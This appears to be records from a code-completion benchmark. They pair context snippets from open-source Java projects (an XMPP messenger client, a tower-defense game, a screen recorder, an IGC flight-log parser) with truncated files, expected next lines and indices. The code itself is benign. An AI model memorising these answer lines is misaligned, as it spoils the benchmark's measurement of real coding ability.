(rawKey.length > 0)\n mControl.onPGPKey(contact, rawKey);\n }\n\n public void onPresenceUpdate(JID jid, Presence.Type type, Optional<String> optStatus) {\n JID myJID = mClient.getOwnJID().orElse(null);\n if (myJID != null && myJID.equals(jid))\n // don't wanna see myself\n return;\n\n Contact contact = mModel.contacts().get(jid).orElse(null);\n if (contact == null) {\n LOGGER.info(\"can't find contact with jid: \"+jid);\n return;\n }\n\n if (type == Presence.Type.available) {\n contact.setOnlineStatus(Contact.Online.YES);\n } else if (type == Presence.Type.unavailable) {\n contact.setOnlineStatus(Contact.Online.NO);\n }\n\n if (optStatus.isPresent())\n contact.setStatusText(optStatus.get());\n }\n\n public void onFingerprintPresence(JID jid, String fingerprint) {\n Contact contact = mModel.contacts().get(jid).orElse(null);\n if (contact == null) {\n LOGGER.info(\"can't find contact with jid: \"+jid);\n return;\n }\n\n if (!fingerprint.isEmpty() &&\n !fingerprint.equalsIgnoreCase(contact.getFingerprint())) {\n LOGGER.info(\"detected public key change, requesting new key...\");\n mControl.sendKeyRequest(contact);\n }\n }\n\n // TODO key IDs can be forged, searching by it is defective by design\n public void onSignaturePresence(JID jid, String signature) {\n Contact contact = mModel.contacts().get(jid).orElse(null);\n if (contact == null) {\n LOGGER.info(\"can't find contact with jid: \"+jid);\n return;\n }\n\n long keyID = PGPUtils.parseKeyIDFromSignature(signature);\n if (keyID == 0)\n return;\n\n if (contact.hasKey()) {\n PGPUtils.PGPCoderKey key = Coder.contactkey(contact).orElse(null);\n if (key != null && key.signKey.getKeyID() == keyID)\n // already have this key\n return;\n }\n\n String id = Long.toHexString(keyID);\n HKPClient hkpClient = new HKPClient();\n String foundKey = \"\";\n for (String server: KEY_SERVERS) {\n foundKey = hkpClient.search(server, id);\n if (!foundKey.isEmpty())\n break;\n }\n if (foundKey.isEmpty()) {\n LOGGER.config(\"searched for public key (nothing found): \"+jid+\" keyId=\"+id);\n return;\n }\n LOGGER.info(\"key found with HKP: \"+jid+\" keyId=\"+id);\n\n PGPUtils.PGPCoderKey key = PGPUtils.readPublicKey(foundKey).orElse(null);\n if (key == null)\n return;\n\n if (key.signKey.getKeyID() != keyID) {\n LOGGER.warning(\"key ID is not what we were searching for\");\n return;\n }\n\n mControl.getViewControl().changed(new ViewEvent.NewKey(contact, key));\n }\n\n public void onPresenceError(JID jid, StanzaError.Type type, StanzaError.Condition condition) {\n if (type != StanzaError.Type.CANCEL)\n // it can't be that bad)\n return;\n\n Error error = null;\n switch (condition) {\n case remote_server_not_found:\n error = Error.SERVER_NOT_FOUND;\n }\n if (error == null) {\n LOGGER.warning(\"unhandled error condition: \"+condition);\n return;\n }\n\n Contact contact = mModel.contacts().get(jid).orElse(null);\n if (contact == null) {\n LOGGER.info(\"can't find contact with jid: \"+jid);\n return;\n }\n\n if (contact.getOnline() == Contact.Online.ERROR)\n // we already know this\n return;\n\n contact.setOnlineStatus(Contact.Online.ERROR);\n\n mControl.getViewControl().changed(new ViewEvent.PresenceError(contact, error));\n }\n}", "public static class SendTask {\n\n public enum Encryption {NONE, RFC3923, XEP0373}\n\n public final OutMessage message;\n public final Encryption encryption;\n public final boolean sendChatState;\n\n private String encryptedData = \"\";\n\n public SendTask(OutMessage message, Encryption encryption, boolean sendChatState) {\n this.message = message;\n this.encryption = encryption;\n this.sendChatState = sendChatState;\n }\n\n public void setEncryptedData(String encryptedData) {\n assert encryptedData.isEmpty();\n\n this.encryptedData = encryptedData;\n }\n\n public String getEncryptedData() {\n return this.encryptedData;\n }\n}" ]
import java.io.File; import java.io.IOException; import java.nio.file.Path; import java.util.ArrayList; import java.util.Collections; import java.util.EnumMap; import java.util.EnumSet; import java.util.List; import java.util.Optional; import java.util.concurrent.LinkedBlockingQueue; import java.util.logging.Level; import java.util.logging.Logger; import org.jivesoftware.smack.SmackException; import org.jivesoftware.smack.StanzaListener; import org.jivesoftware.smack.XMPPException; import org.jivesoftware.smack.filter.IQTypeFilter; import org.jivesoftware.smack.filter.StanzaFilter; import org.jivesoftware.smack.filter.StanzaTypeFilter; import org.jivesoftware.smack.packet.IQ; import org.jivesoftware.smack.packet.Message; import org.jivesoftware.smack.packet.Presence; import org.jivesoftware.smack.packet.Stanza; import org.jivesoftware.smack.roster.Roster; import org.jivesoftware.smack.roster.RosterEntry; import org.jivesoftware.smackx.caps.EntityCapsManager; import org.jivesoftware.smackx.caps.cache.SimpleDirectoryPersistentCache; import org.jivesoftware.smackx.chatstates.ChatState; import org.jivesoftware.smackx.chatstates.packet.ChatStateExtension; import org.jivesoftware.smackx.disco.ServiceDiscoveryManager; import org.jivesoftware.smackx.iqlast.packet.LastActivity; import org.jxmpp.jid.EntityFullJid; import org.jxmpp.jid.Jid; import org.kontalk.crypto.PersonalKey; import org.kontalk.misc.JID; import org.kontalk.misc.KonException; import org.kontalk.persistence.Config; import org.kontalk.system.AttachmentManager; import org.kontalk.system.Control; import org.kontalk.system.RosterHandler; import org.kontalk.util.MessageUtils.SendTask;
/* * Kontalk Java client * Copyright (C) 2016 Kontalk Devteam <devteam@kontalk.org> * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package org.kontalk.client; /** * Network client for an XMPP Kontalk Server. * * @author Alexander Bikadorov {@literal <bikaejkb@mail.tu-berlin.de>} */ public final class Client implements StanzaListener, Runnable { private static final Logger LOGGER = Logger.getLogger(Client.class.getName()); private static final String CAPS_CACHE_DIR = "caps_cache"; private static final LinkedBlockingQueue<Task> TASK_QUEUE = new LinkedBlockingQueue<>(); public enum PresenceCommand {REQUEST, GRANT, DENY} // NOTE: disconnect is instantaneous, all resulting exceptions should be catched private enum Command {CONNECT, LAST_ACTIVITY} private final Control mControl; private final KonMessageSender mMessageSender;
private final EnumMap<FeatureDiscovery.Feature, JID> mFeatures;
1
godrin/TowerDefense
defend/src/com/cdm/gui/Button.java
[ "public class AnimatedColor {\n\tprivate SingleValue r, g, b, a;\n\tprivate Color c = new Color();\n\n\tpublic AnimatedColor(Animator r, Animator g, Animator b, Animator a) {\n\t\tthis.r = new AnimatedValue(new AnimationValueStore(r.startValue()), r);\n\t\tthis.g = new AnimatedValue(new AnimationValueStore(g.startValue()), g);\n\t\tthis.b = new AnimatedValue(new AnimationValueStore(b.startValue()), b);\n\t\tthis.a = new AnimatedValue(new AnimationValueStore(a.startValue()), a);\n\t}\n\n\tpublic Color getValue() {\n\t\tc.set(r.getValue(), g.getValue(), b.getValue(), a.getValue());\n\t\treturn c;\n\t}\n\n\tpublic void addTime(float time) {\n\t\tr.addTime(time);\n\t\tg.addTime(time);\n\t\tb.addTime(time);\n\t\ta.addTime(time);\n\n\t}\n}", "public class AnimatedRect implements Effect {\n\n\tprivate SingleValue mx;\n\tprivate SingleValue my;\n\tprivate SingleValue pw;\n\tprivate SingleValue ph;\n\tprivate AnimatedColor c;\n\n\tpublic AnimatedRect(Animator mx, Animator my, Animator pw, Animator ph,\n\t\t\tAnimatedColor c) {\n\t\tthis.mx = new AnimatedValue(new AnimationValueStore(mx.startValue()),\n\t\t\t\tmx);\n\t\tthis.my = new AnimatedValue(new AnimationValueStore(my.startValue()),\n\t\t\t\tmy);\n\t\tthis.pw = new AnimatedValue(new AnimationValueStore(pw.startValue()),\n\t\t\t\tpw);\n\t\tthis.ph = new AnimatedValue(new AnimationValueStore(ph.startValue()),\n\t\t\t\tph);\n\t\tthis.c=c;\n\t}\n\n\t@Override\n\tpublic void draw(IRenderer renderer) {\n\t\tfloat x = mx.getValue();\n\t\tfloat y = my.getValue();\n\t\tfloat w = pw.getValue();\n\t\tfloat h = ph.getValue();\n\t\tfloat x0 = x - w;\n\t\tfloat y0 = y - h;\n\t\tfloat x1 = x + w;\n\t\tfloat y1 = y + h;\n\t\trenderer.fillRect(x0, y0, x1, y1, c.getValue());\n\t}\n\n\t@Override\n\tpublic void addTime(float time) {\n\t\tmx.addTime(time);\n\t\tmy.addTime(time);\n\t\tpw.addTime(time);\n\t\tph.addTime(time);\n\t\tc.addTime(time);\n\t}\n\n}", "public class AnimatorSin implements Animator {\n\tfloat mean, radius, speed, start;\n\n\tpublic AnimatorSin(float pmean, float pradius, float pspeed, float start) {\n\t\tspeed = pspeed;\n\t\tmean = pmean;\n\t\tradius = pradius;\n\t\tthis.start = start;\n\t}\n\n\t@Override\n\tpublic void addTime(float t, AnimationValueStore s) {\n\t\ts.value += t * speed;\n\n\t}\n\n\t@Override\n\tpublic float getValue(AnimationValueStore s) {\n\t\treturn (float) (Math.sin(s.value * speed) * radius + mean);\n\t}\n\n\t@Override\n\tpublic float startValue() {\n\t\treturn start;\n\t}\n}", "public class AnimatorStatic implements Animator {\n\tfloat start;\n\n\tpublic AnimatorStatic(float value) {\n\t\tthis.start = value;\n\t}\n\n\t@Override\n\tpublic void addTime(float t, AnimationValueStore s) {\n\t}\n\n\t@Override\n\tpublic float getValue(AnimationValueStore s) {\n\t\treturn s.value;\n\t}\n\n\t@Override\n\tpublic float startValue() {\n\t\treturn start;\n\t}\n}", "public class Position {\n\n\tprivate CoordSystem system;\n\n\tpublic static CoordSystem SCREEN_REF = new CoordSystem(0, 0, 1);\n\tpublic static CoordSystem BUTTON_REF = new CoordSystem(0, 0, 1);\n\tpublic static CoordSystem LEVEL_REF = new CoordSystem(0, 0, 48);\n\tpublic static final Position NULL = new Position(0, 0, LEVEL_REF);\n\n\tprivate static final int CLIP_THRES = 150;\n\n\tpublic float x;\n\tpublic float y;\n\tpublic static Vector3 tmpVector = new Vector3();\n\tpublic static Position tmpPos = new Position(0, 0, null);\n\n\tpublic Position(Position p) {\n\t\tx = p.x;\n\t\ty = p.y;\n\t\tsystem = p.system;\n\t}\n\n\tpublic Position(float px, float py, CoordSystem s) {\n\t\tx = px;\n\t\ty = py;\n\t\tsystem = s;\n\t}\n\n\tpublic Position(PathPos px, CoordSystem s) {\n\t\tx = px.x;\n\t\ty = px.y;\n\t\tsystem = s;\n\t}\n\n\tpublic boolean equals(Position o) {\n\t\treturn Math.abs(x - o.x) < 0.01f && Math.abs(y - o.y) < 0.01f;\n\t}\n\n\tpublic boolean screenPos() {\n\t\treturn system.equals(SCREEN_REF);\n\t}\n\n\tpublic Position alignedToGrid() {\n\t\treturn new Position(Math.round(x), Math.round(y), system);\n\t}\n\n\tpublic String toString() {\n\t\treturn \"[Pos:\" + x + \",\" + y + \"]\";\n\t}\n\n\tpublic void assignFrom(Position pos) {\n\t\tx = pos.x;\n\t\ty = pos.y;\n\t\tsystem = pos.system;\n\n\t}\n\n\tpublic Vector3 to(Position nextStep) {\n\t\treturn tmpVector.set(nextStep.x - x, nextStep.y - y, 0);\n\t}\n\n\tpublic float distance(Position nextStep) {\n\t\tfloat dx = nextStep.x - x;\n\t\tfloat dy = nextStep.y - y;\n\n\t\treturn (float) Math.sqrt(dx * dx + dy * dy);\n\t}\n\n\tpublic Vector3 toVector() {\n\t\treturn tmpVector.set(x, y, 0);\n\t}\n\n\tpublic CoordSystem getSystem() {\n\t\treturn system;\n\t}\n\n\tpublic Position set(float x2, float y2, CoordSystem system) {\n\t\tthis.x = x2;\n\t\tthis.y = y2;\n\t\tthis.system = system;\n\t\treturn this;\n\t}\n\n\tpublic Position set(Position dragPosition) {\n\t\tif (dragPosition == null) {\n\t\t\tx = y = -1;\n\t\t\treturn this;\n\t\t}\n\t\tx = dragPosition.x;\n\t\ty = dragPosition.y;\n\t\tsystem = dragPosition.system;\n\t\treturn this;\n\t}\n\n\tpublic Position to(CoordSystem s) {\n\t\tif (s.equals(system)) {\n\n\t\t\treturn tmpPos.set(this);\n\t\t} else {\n\t\t\treturn tmpPos.set(\n\t\t\t\t\t((x + system.getX()) * system.getScale()) / s.getScale()\n\t\t\t\t\t\t\t- s.getX(),\n\t\t\t\t\t((y + system.getY()) * system.getScale()) / s.getScale()\n\t\t\t\t\t\t\t- s.getY(), s);\n\t\t}\n\t}\n\n\tpublic boolean buttonPos() {\n\t\treturn system.equals(BUTTON_REF);\n\t}\n\n\tpublic Position tmp() {\n\t\treturn tmpPos.set(this);\n\t}\n\n\tpublic boolean valid() {\n\t\treturn x >= 0 && y >= 0;\n\t}\n\n\tpublic float lengthTo(Position target) {\n\t\tfloat dx = x - target.x;\n\t\tfloat dy = y - target.y;\n\t\treturn (float) Math.sqrt(dx * dx + dy * dy);\n\t}\n\n\tpublic boolean onScreen() {\n\t\tPosition checkPos = to(Position.SCREEN_REF);\n\t\treturn checkPos.x >= -CLIP_THRES && checkPos.y >= -CLIP_THRES\n\t\t\t\t&& checkPos.x < Gdx.graphics.getWidth() + CLIP_THRES\n\t\t\t\t&& checkPos.y < Gdx.graphics.getHeight() + CLIP_THRES;\n\t}\n\n}", "public class Rectangle {\n\tprivate float x, y, w, h;\n\n\tpublic Rectangle(float px, float py, float pw, float ph) {\n\t\tx = px;\n\t\ty = py;\n\t\tw = pw;\n\t\th = ph;\n\t}\n\n\tpublic float x() {\n\t\treturn x;\n\t}\n\n\tpublic float y() {\n\t\treturn y;\n\t}\n\n\tpublic float x2() {\n\t\treturn x + w;\n\t}\n\n\tpublic float y2() {\n\t\treturn y + h;\n\t}\n\n\tpublic float width() {\n\t\treturn w;\n\t}\n\n\tpublic float height() {\n\t\treturn h;\n\t}\n\n\tpublic boolean contains(int x2, int y2) {\n\t\treturn x2 >= x && x2 <= x + w && y2 >= y && y2 <= y + h;\n\t}\n\n\tprivate float min(float a, float b) {\n\t\treturn a < b ? a : b;\n\t}\n\n\tprivate float max(float a, float b) {\n\t\treturn a > b ? a : b;\n\t}\n\n\tpublic void add(Rectangle bBox) {\n\t\tfloat x0 = min(x(), bBox.x());\n\t\tfloat x1 = max(x2(), bBox.x2());\n\t\tfloat y0 = min(y(), bBox.y());\n\t\tfloat y1 = max(y2(), bBox.y2());\n\t\tx = x0;\n\t\ty = y0;\n\t\tw = x1 - x0;\n\t\th = y1 - y0;\n\t}\n\n\tpublic float getXMiddle() {\n\t\treturn x + w / 2;\n\t}\n\n\tpublic float getYMiddle() {\n\t\treturn y + h / 2;\n\t}\n\n\tpublic void set(float x2, float y2, float w2, float h2) {\n\t\tx = x2;\n\t\ty = y2;\n\t\tw = w2;\n\t\th = h2;\n\t}\n\n\tpublic void set(Rectangle box) {\n\t\tx=box.x;\n\t\ty=box.y;\n\t\tw=box.w;\n\t\th=box.h;\n\t\t\n\t}\n\n}" ]
import com.badlogic.gdx.graphics.Color; import com.cdm.gui.effects.AnimatedColor; import com.cdm.gui.effects.AnimatedRect; import com.cdm.gui.effects.AnimatorSin; import com.cdm.gui.effects.AnimatorStatic; import com.cdm.view.IRenderer; import com.cdm.view.Position; import com.cdm.view.Rectangle;
package com.cdm.gui; // review1 public class Button extends Widget { private int x, y, radius; private Position position; private IButtonPressed pressedListener; private AnimatedRect rect; private AnimatedRect rectEnabled; private AnimatedRect rectDisabled; private String buttonName; private boolean enabled = true; private Color currentColor = new Color(1, 1, 0, 0.7f); private Rectangle checkRectangle = new Rectangle(-1, -1, -1, -1); public Button(int px, int py, int pradius) { x = px; y = py; position = new Position(x, y, Position.SCREEN_REF); radius = pradius; setBBox(x - radius, y - radius, 2 * radius, 2 * radius); initAnimation(); } public boolean isEnabled() { return enabled; } public void setEnabled(boolean enabled) { boolean changed = (enabled != this.enabled); this.enabled = enabled; if (changed) initAnimation(); } private void initAnimation() { AnimatedColor c; if (rectEnabled == null) {
c = new AnimatedColor(new AnimatorStatic(0.9f), new AnimatorStatic(
3
deepakpk009/JScreenRecorder
src/com/deepak/jscreenrecorder/gui/WatermarkSelector.java
[ "public class TextWatermarkCreator {\n\n // the text watermark image object\n private BufferedImage textWatermarkImage = null;\n // the watermark display panel refernce\n private WatermarkDisplayPanel watermarkDisplayPanel = null;\n\n // the constructor with watermark display panel as the parameter\n public TextWatermarkCreator(WatermarkDisplayPanel wmdp) {\n watermarkDisplayPanel = wmdp;\n }\n\n // method to create watermark image from the text \n public void createWatermark() {\n\n // create jtextchooser object \n JTextChooser jtc = new JTextChooser(\"Watermark Text\");\n\n // get the selected text with font, size and text color\n int result = jtc.showTextChooserDialog();\n // on user selection\n if (result == JTextChooser.APPROVE_OPTION) {\n Rectangle2D bounds;\n int w, h, finalW, finalH;\n float indent;\n\n String text = jtc.getText();\n //create the FontRenderContext object which helps us to measure the text\n FontRenderContext frc = new FontRenderContext(null, true, true);\n // get the bounds of the text image\n bounds = jtc.getSelectedFont().getStringBounds(text, frc);\n // get the initial height for the whole text\n h = (int) bounds.getHeight();\n // split the sentences based on new line\n String sentences[] = text.split(System.getProperty(\"line.separator\"));\n // get the longest sentence\n String longestSentence = getLongestString(sentences);\n //get the widht of the longest sentence\n bounds = jtc.getSelectedFont().getStringBounds(longestSentence, frc);\n finalW = (int) bounds.getWidth();\n // setting indent as 25% of the height;\n indent = h * (50 / 100);\n // calculate the final height of the text watermark image\n finalH = (int) (h + indent) * sentences.length;\n //create the text watermark image object withe calculated size\n textWatermarkImage = new BufferedImage(finalW, finalH, BufferedImage.TYPE_INT_ARGB_PRE);\n //calling createGraphics() to get the Graphics2D\n Graphics2D g = textWatermarkImage.createGraphics();\n //set color and other parameters\n g.setColor(jtc.getSelectedTextColor());\n g.setFont(jtc.getSelectedFont());\n // draw all lines on to the image\n int sentenceNo = 1;\n for (String sentence : sentences) {\n g.drawString(sentence, (float) bounds.getX(), (((float) -bounds.getY() + indent) * sentenceNo));\n sentenceNo++;\n }\n //releasing resources\n g.dispose();\n // set the final text watermark image onto the watermark display panel\n watermarkDisplayPanel.setWatermarkImage(textWatermarkImage);\n }\n }\n\n // method to get the longest string out of an string array\n private String getLongestString(String[] array) {\n int maxLength = 0;\n String longestString = null;\n for (String s : array) {\n if (s.length() > maxLength) {\n maxLength = s.length();\n longestString = s;\n }\n }\n return longestString;\n }\n}", "public class RecordConfig {\n\n // the video length\n private long videoLength;\n // the capture frame rate\n private int framesRate;\n // the capture area dimension\n private Rectangle frameDimension;\n // the watermark image\n private BufferedImage watermarkImage;\n // the watermark location\n private Point watermarkLocation;\n // the cursor image\n private BufferedImage cursorImage;\n // the save file \n private File videoFile;\n\n // default constructor\n public RecordConfig() {\n // set the default field values\n videoLength = 0;\n // #update in v0.3 : frameRate changed from 12 to 24\n framesRate = 24;\n frameDimension = null;\n watermarkImage = null;\n watermarkLocation = null;\n cursorImage = null;\n videoFile = null;\n }\n\n /*\n * GETTER AND SETTER FOR THE FILEDS\n */\n public long getVideoLength() {\n return videoLength;\n }\n\n public void setVideoLength(long videoLength) {\n this.videoLength = videoLength;\n propertyChangeSupport.firePropertyChange(propertyName, 0, 1);\n }\n\n public int getFramesRate() {\n return framesRate;\n }\n\n public void setFramesRate(int framesRate) {\n this.framesRate = framesRate;\n propertyChangeSupport.firePropertyChange(propertyName, 0, 1);\n }\n\n public Rectangle getFrameDimension() {\n return frameDimension;\n }\n\n public void setFrameDimension(Rectangle frameDimension) {\n this.frameDimension = frameDimension;\n propertyChangeSupport.firePropertyChange(propertyName, 0, 1);\n }\n\n public BufferedImage getWatermarkImage() {\n return watermarkImage;\n }\n\n public void setWatermarkImage(BufferedImage watermarkImage) {\n this.watermarkImage = watermarkImage;\n propertyChangeSupport.firePropertyChange(propertyName, 0, 1);\n }\n\n public BufferedImage getCursorImage() {\n return cursorImage;\n }\n\n public void setCursorImage(BufferedImage cursorImage) {\n this.cursorImage = cursorImage;\n propertyChangeSupport.firePropertyChange(propertyName, 0, 1);\n }\n\n public File getVideoFile() {\n return videoFile;\n }\n\n public void setVideoFile(File videoFile) {\n this.videoFile = videoFile;\n propertyChangeSupport.firePropertyChange(propertyName, 0, 1);\n }\n\n public Point getWatermarkLocation() {\n return watermarkLocation;\n }\n\n public void setWatermarkLocation(Point watermarkLocation) {\n this.watermarkLocation = watermarkLocation;\n propertyChangeSupport.firePropertyChange(propertyName, 0, 1);\n }\n // ------- PROPERY CHANGE SUPPORT ---------------------\n private String propertyName = \"RECORD_CONFIG_CHANGE\";\n\n /**\n * Get the value of propertyName\n *\n * @return the value of propertyName\n */\n public String getPropertyName() {\n return propertyName;\n }\n\n /**\n * Set the value of propertyName\n *\n * @param propertyName new value of propertyName\n */\n public void setPropertyName(String propertyName) {\n this.propertyName = propertyName;\n }\n private transient final PropertyChangeSupport propertyChangeSupport = new PropertyChangeSupport(this);\n\n /**\n * Add PropertyChangeListener.\n *\n * @param listener\n */\n public void addPropertyChangeListener(PropertyChangeListener listener) {\n propertyChangeSupport.addPropertyChangeListener(listener);\n }\n\n /**\n * Remove PropertyChangeListener.\n *\n * @param listener\n */\n public void removePropertyChangeListener(PropertyChangeListener listener) {\n propertyChangeSupport.removePropertyChangeListener(listener);\n }\n}", "public interface Directory {\n\n public String CURSOR_DB = \"CURSORS/\";\n public String VIDEO_DB = \"RECORDED_VIDEOS/\";\n public String WATERMARK_DB = \"WATERMARKS/\";\n}", "public interface Extension {\n\n public String CURSOR_EXTENSION = \".png\";\n // #update in v0.3 : video extension changed from .avi to .mp4\n public String VIDEO_EXTENSION = \".mp4\";\n public String WATERMARK_EXTENSION = \".png\";\n}", "public class ImageFileNameFilter implements FilenameFilter {\n\n @Override\n public boolean accept(File dir, String name) {\n // accept files with the image format extensions only\n return name.endsWith(\".bmp\")\n || name.endsWith(\".jpg\")\n || name.endsWith(\".jpeg\")\n || name.endsWith(\".png\")\n || name.endsWith(\".ico\")\n || name.endsWith(\".gif\");\n }\n}", "public class AddImage {\n\n // method to add images to the specified directory\n // parameters: the input directory path and the file save extension\n public int add(String toDir, String fileExtension) {\n // create a file chooser\n JFileChooser jfc = new JFileChooser();\n // set the image file filter\n jfc.setFileFilter(new ImageFileFilter());\n // set the selection mode to files and directories\n jfc.setFileSelectionMode(JFileChooser.FILES_AND_DIRECTORIES);\n // enable multiple selection\n jfc.setMultiSelectionEnabled(true);\n // show the file chooser and get the result\n int result = jfc.showDialog(jfc, \"Add\");\n // on selection\n if (result == JFileChooser.APPROVE_OPTION) {\n // get the selected image files\n File images[] = jfc.getSelectedFiles();\n \n int imageCount = 0;\n // for a ll image files\n for (File image : images) {\n try {\n // copy it to the specified directory with a random number file name\n // and with the specified extension\n FileCopier.copy(image, new File(toDir + RandomNumberGenerator.getRandomNumber() + fileExtension));\n imageCount++;\n } catch (IOException ex) {\n JOptionPane.showMessageDialog(jfc, \"Error Adding Image: \" + image.getName(), \"Error\", JOptionPane.ERROR_MESSAGE);\n }\n }\n // return the count of images copyied onto the directory\n return imageCount;\n }\n // on fail return zero\n return 0;\n }\n}", "public class RandomNumberGenerator {\n\n // method to generate random numbers \n // in the range of 0 to the maximun value an integer can have\n public static int getRandomNumber() {\n return (int) (Math.random() * Integer.MAX_VALUE);\n }\n}" ]
import com.deepak.jscreenrecorder.core.TextWatermarkCreator; import com.deepak.jscreenrecorder.core.config.RecordConfig; import com.deepak.jscreenrecorder.core.constants.Directory; import com.deepak.jscreenrecorder.core.constants.Extension; import com.deepak.jscreenrecorder.core.filters.ImageFileNameFilter; import com.deepak.jscreenrecorder.util.AddImage; import com.deepak.jscreenrecorder.util.RandomNumberGenerator; import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import javax.imageio.ImageIO; import javax.swing.JOptionPane;
/* This file is part of JScreenRecorder v0.3 JScreenRecorder is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. JScreenRecorder is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with JScreenRecorder. If not, see <http://www.gnu.org/licenses/>. */ package com.deepak.jscreenrecorder.gui; /** * * @author deepak */ // this class provides watermark selection facility public class WatermarkSelector extends javax.swing.JFrame { // the local record config reference object private RecordConfig recConfig = null; // watermark image array private BufferedImage watermarks[] = null; // current watermark index private int watermarkIndex = 0; // method to load watermarks from the watermarks directory private void loadWatermarks() { // get the file refernce to the watermark directory File watermarkDir = new File(Directory.WATERMARK_DB); // get all the watermark images
File watermarkFiles[] = watermarkDir.listFiles(new ImageFileNameFilter());
4
santiago-hollmann/igcparser
igcParser/src/main/java/com/shollmann/android/igcparser/util/WaypointUtilities.java
[ "public class BRecord implements ILatLonRecord, Serializable {\n private static final int TIME_START_INDEX = 1;\n private static final int TIME_END_INDEX = 7;\n private static final int LAT_END_INDEX = 15;\n private static final int LON_END_INDEX = 24;\n private static final int FIX_VALIDITY_START_INDEX = 25;\n private static final int ALTITUDE_PRESS_END_INDEX = 30;\n private static final int ALTITUDE_GPS_END_INDEX = 35;\n\n private LatLon latLon;\n private String time;\n private String lat;\n private String lon;\n private int altitudePress;\n private int altitudeGps;\n\n public BRecord(String rawRecord) {\n try {\n time = Utilities.generateTime(rawRecord.substring(TIME_START_INDEX, TIME_END_INDEX));\n lat = rawRecord.substring(TIME_END_INDEX, LAT_END_INDEX);\n lon = rawRecord.substring(LAT_END_INDEX, LON_END_INDEX);\n latLon = Utilities.generateCoordinates(lat, lon);\n altitudePress = Integer.valueOf(rawRecord.substring(FIX_VALIDITY_START_INDEX, ALTITUDE_PRESS_END_INDEX));\n altitudeGps = Integer.valueOf(rawRecord.substring(ALTITUDE_PRESS_END_INDEX, ALTITUDE_GPS_END_INDEX));\n } catch (Exception e) {\n Logger.logError(e.getMessage());\n }\n }\n\n public String getTime() {\n return time;\n }\n\n public void setTime(String time) {\n this.time = time;\n }\n\n public String getLat() {\n return lat;\n }\n\n public void setLat(String lat) {\n this.lat = lat;\n }\n\n public String getLon() {\n return lon;\n }\n\n public void setLon(String lon) {\n this.lon = lon;\n }\n\n public int getAltitudePress() {\n return altitudePress;\n }\n\n public void setAltitudePress(int altitudePress) {\n this.altitudePress = altitudePress;\n }\n\n public int getAltitudeGps() {\n return altitudeGps;\n }\n\n public void setAltitudeGps(int altitudeGps) {\n this.altitudeGps = altitudeGps;\n }\n\n public LatLon getLatLon() {\n return latLon;\n }\n\n public void setLatLon(LatLon latLon) {\n this.latLon = latLon;\n }\n\n public int getAltitude() {\n if (getAltitudeGps() == 0) {\n return getAltitudePress();\n }\n return getAltitudeGps();\n }\n}", "public enum CRecordType {\n TAKEOFF, START, TURN, LANDING, FINISH, UNDEFINED\n}", "public class CRecordWayPoint implements ILatLonRecord, Serializable {\n\n private CRecordType type;\n private LatLon latLon;\n private String description;\n private String lat;\n private String lon;\n\n public CRecordWayPoint(String rawRecord) {\n try {\n lat = rawRecord.substring(1, 9);\n lon = rawRecord.substring(9, 18);\n latLon = Utilities.generateCoordinates(lat, lon);\n type = parseType(rawRecord);\n description = rawRecord.substring(getTypeLastCharPosition(rawRecord), rawRecord.length());\n } catch (Exception e) {\n Logger.logError(e.getMessage());\n }\n }\n\n private int getTypeLastCharPosition(String rawRecord) {\n return rawRecord.indexOf(\"W\") == -1 ? rawRecord.indexOf(\"E\") + 1 : rawRecord.indexOf(\"W\") + 1;\n }\n\n private CRecordType parseType(String rawRecord) {\n rawRecord = rawRecord.toUpperCase();\n\n if (rawRecord.contains(Constants.CRecord.TAKEOFF)) {\n return CRecordType.TAKEOFF;\n } else if (rawRecord.contains(Constants.CRecord.START)) {\n return CRecordType.START;\n } else if (rawRecord.contains(Constants.CRecord.TURN)) {\n return CRecordType.TURN;\n } else if (rawRecord.contains(Constants.CRecord.FINISH)) {\n return CRecordType.FINISH;\n } else if (rawRecord.contains(Constants.CRecord.LANDING)) {\n return CRecordType.LANDING;\n }\n return CRecordType.UNDEFINED;\n }\n\n public String getDescription() {\n return description;\n }\n\n public LatLon getLatLon() {\n return latLon;\n }\n\n public String getLat() {\n return lat;\n }\n\n public String getLon() {\n return lon;\n }\n\n public CRecordType getType() {\n return type;\n }\n\n public void setType(CRecordType type) {\n this.type = type;\n }\n\n @Override\n public String toString() {\n return lat + lon + type;\n }\n}", "public class IGCFile implements Serializable {\n private List<ILatLonRecord> listTrackPoints;\n private List<ILatLonRecord> listWayPoints;\n private double distance;\n private double taskDistance;\n private int maxAltitude;\n private int minAltitude;\n private int startAltitude;\n private int averageSpeed;\n private String takeOffTime;\n private String landingTime;\n private String pilotInCharge;\n private String gliderId;\n private String gliderType;\n private String date;\n private String fileName;\n private String filePath;\n private boolean isTaskCompleted;\n private double traveledTaskDistance;\n private int taskAverageSpeed;\n private String taskDuration;\n\n public IGCFile() {\n listWayPoints = new ArrayList<>();\n listTrackPoints = new ArrayList<>();\n taskDistance = 0;\n }\n\n public void appendTrackPoint(BRecord bRecord) {\n listTrackPoints.add(bRecord);\n }\n\n public void appendWayPoint(CRecordWayPoint waypoint) {\n listWayPoints.add(waypoint);\n }\n\n public List<ILatLonRecord> getTrackPoints() {\n return listTrackPoints;\n }\n\n public List<ILatLonRecord> getWaypoints() {\n return listWayPoints;\n }\n\n @Override\n public String toString() {\n return \"IGCFile --- Track Points: \"\n + listTrackPoints.size() + \" :: distance (in m): \" + distance\n + \" :: amountTrackPoints: \" + listTrackPoints.size()\n + \" :: amountWayPoints: \" + listWayPoints.size()\n + \" :: maxAltitude: \" + maxAltitude\n + \" :: minAltitude: \" + minAltitude\n + \" :: landingTime: \" + landingTime\n + \" :: takeOffTime: \" + takeOffTime\n + \" :: isTaskCompleted: \" + isTaskCompleted;\n }\n\n\n public double getDistance() {\n return distance;\n }\n\n public void setDistance(double distance) {\n this.distance = distance;\n }\n\n public void setMaxAltitude(int maxAltitude) 